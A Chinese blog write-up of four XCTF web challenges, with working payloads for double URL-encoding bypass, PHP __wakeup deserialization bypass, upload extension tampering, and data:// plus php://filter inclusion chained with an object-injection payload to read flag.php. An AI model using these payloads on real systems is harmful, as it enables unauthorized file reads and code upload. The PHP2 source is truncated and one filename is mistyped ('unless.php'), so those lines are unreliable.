XCTF Web 记录（第二天）

原创

「已注销」 于 2021-03-02 09:34:42 发布 46 收藏

分类专栏： CTF 文章标签： web

本文链接：https://blog.csdn.net/qq_45742511/article/details/114276159

题目

- PHP2
- unserialize3
- upload1
- nizhuansiwei

PHP2

进去后什么都没有，扫目录，得到 index.phps，访问：

```
not allowed!

"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "admin") { echo "

Access granted!

"; echo "

Key: xxxxxxx

"; } ?> Can you anthenticate to this website?
```


> 1.对id值进行url解码
> 2.id值等于admin

因为浏览器本身会进行一次url解码，这里相当于进行了二次解码，所以对admin进行两次url编码：

> %2561%2564%256d%2569%256e

知识点：

url编码：

> url编码就是其16进制前添加%。例：hex(a)=61,url(a)=%61
> 那么二次编码，相当于对%进行一次url编码；hex(%)=25,url(%)%25

phps：

> phps文件就是php的源代码文件，通常用于提供用户（访问者）查看php代码，因为用户无法直接通过Web浏览器看到php文件的内容，所以需要用phps文件代替。

unserialize3

```
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
```

简单的反序列化。

payload：

```
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
```

并不成功：

bad requests

要绕过__wakeup() .

方式：
wakeup()漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行。

所以，payload：

```
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
```

upload1

文件上传。

上传php文件时：

原理：客户端前端验证。

上传图片格式文件，抓包，修改后缀名为php即可。

nizhuansiwei

```php
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit();
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>
```

代码审计，三个参数。

```php
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
```

需要给$text写入`welcome to the zjctf`

使用伪协议：

```
?text=data://text/plain,welcome to the zjctf
```

```php
if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit();
    }else{
        include($file);  //useless.php
```

文件包含，过滤了flag，使用filter读取：

```
file=php://filter/read=convert.base64-encode/resource=unless.php
```

得到base64内容，解码得到：

```
<?php

class Flag{  //flag.php
    public $file;
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}
?>
```

对password的反序列化利用：

payload：

```
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
```

最终payload：

```
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
```

知识点总结：

伪协议：
php伪协议总结